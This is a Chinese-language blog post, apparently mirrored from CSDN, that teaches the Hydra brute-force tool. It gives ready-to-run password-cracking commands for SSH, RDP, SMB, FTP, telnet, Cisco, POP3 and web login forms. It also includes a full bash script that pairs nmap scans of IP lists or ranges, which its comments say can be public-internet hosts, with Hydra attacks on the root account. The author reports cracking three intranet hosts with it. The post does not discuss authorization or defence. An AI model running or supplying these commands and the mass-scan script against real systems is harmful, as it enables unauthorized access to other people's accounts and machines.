2

渗透工具-Hydra

 2 years ago
source link: https://blog.csdn.net/qq_33608000/article/details/123099340
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

渗透工具-Hydra

amingMM 已于 2022-02-23 21:16:11 修改 640
专栏收录该内容
38 篇文章 5 订阅

Hydra爆破神器

  • 全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的
  • 在Kali Linux下已经是默认安装的
  • hydra还支持GUI图形界面(xhydra)
    在这里插入图片描述

参数详解:

  • 帮助命令:hydra -h //查看基本用法

hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。

使用案例:

在这里插入图片描述

使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:

# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:

# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb:

# hydra -l administrator -P pass.txt IP smb

破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp 3389 :

hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet

# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp:

# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

 <form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

假设有以上一个密码登录表单,我们执行命令:

  # hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form 
  “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

说明:
  破解的用户名是admin,
  密码字典是pass.lst,
  破解结果保存在ok.lst,
  -t 是同时线程数为1,
  -f 是当破解了一个密码就停止,
  ip 是本地,就是目标ip,
  http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,
  后面

中的内容是表示错误猜解的返回信息提示,可以自定义。
 hydra -s 23 -V -l admin -p admin -t 16 -M IP地址目录 telnet
 hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V

在这里插入图片描述

组合拳 端口服务 弱密码爆破检测工具

SSH登录密码的破解工具

批量 对IP列表 IP地址进行SSH登录破解

  • eg 批量爆破 密码 流程
    首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。
这里用到两款强大的开源工具。
一个是nmap,用来探测22端口是否开启;
另一个是hydra,用来爆破SSH登录密码。
 shell脚本 

在这里插入图片描述
用nmap批量 扫描开放22端口的公网 设备,运行命令如下

 nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt  

扫描iplist.txt IP地址是否开启22端口;
结果输出到22-output.txt

 nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 

对一个网段的扫描,也可以换成一个IP。
-sS和-sU都是扫描策略的选项,
两个一起使用,可以提高扫描的可靠性。
实际测试 (内网环境),
nmap 存在漏扫 提高 准确率
不断调整扫描策略

第二步为,读取22-output.txt文件中开放22端口的主机,
使用hydra工具进行密码爆破,使用的命令如下:

 hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,
对IP地址为:192.168.0.12的主机进行密码破解。

grep “host:”用来过滤打印的输出,只输出破解到密码的条目。
由于hydra一次只能对一个IP进行破解,

因此,在shell中写了一个循环,hydra一次任务结束后,
立即进行下一个IP的破解,
直到将22-output.txt文件中IP遍历完为止。

代码如下所示。

 cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" 
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。
主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

 #!/bin/bash

if [ $# -lt 4 ] 
   #取得shell脚本参数个数 小于
   # $0 取得脚本名度称(包含路径)
then
   echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
   echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
   exit 1
fi

while [ -n "$1" ]  
#字符串不为null,长度大于零
do  
  case "$1" in    
  #表达式
    -p)  
    #匹配模式
        passfile=$2
        #echo $passfile 
        shift  
        ;;  
    -f)  
        nmap -vv -n -sS -sU -p22 -iL $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
        # 从列表中输入   输出扫描结果
        shift  
        ;;  
    -l)  
        nmap -vv -n -sS -sU -p22 $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 
        shift  
        ;; 
    *)  
        echo "$1 is not an option"  
        echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
        echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
        exit 1
        ;;  
  esac  
  shift  
done

echo "-----------port scan finished-----------"

chmod 666 ./22-output.txt

#echo `cat ./22-output.txt` 

cat ./22-output.txt | while read line
#读取扫描结果
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
    # 根据密码字典爆破root
done

echo "-------password guessing finished-------"

newCodeMoreWhite.png

这个程序做了一些参数传递的判断,核心代码行十分精简。
在使用程序之前,
需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。
运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:
在这里插入图片描述
当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。

火星数据


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK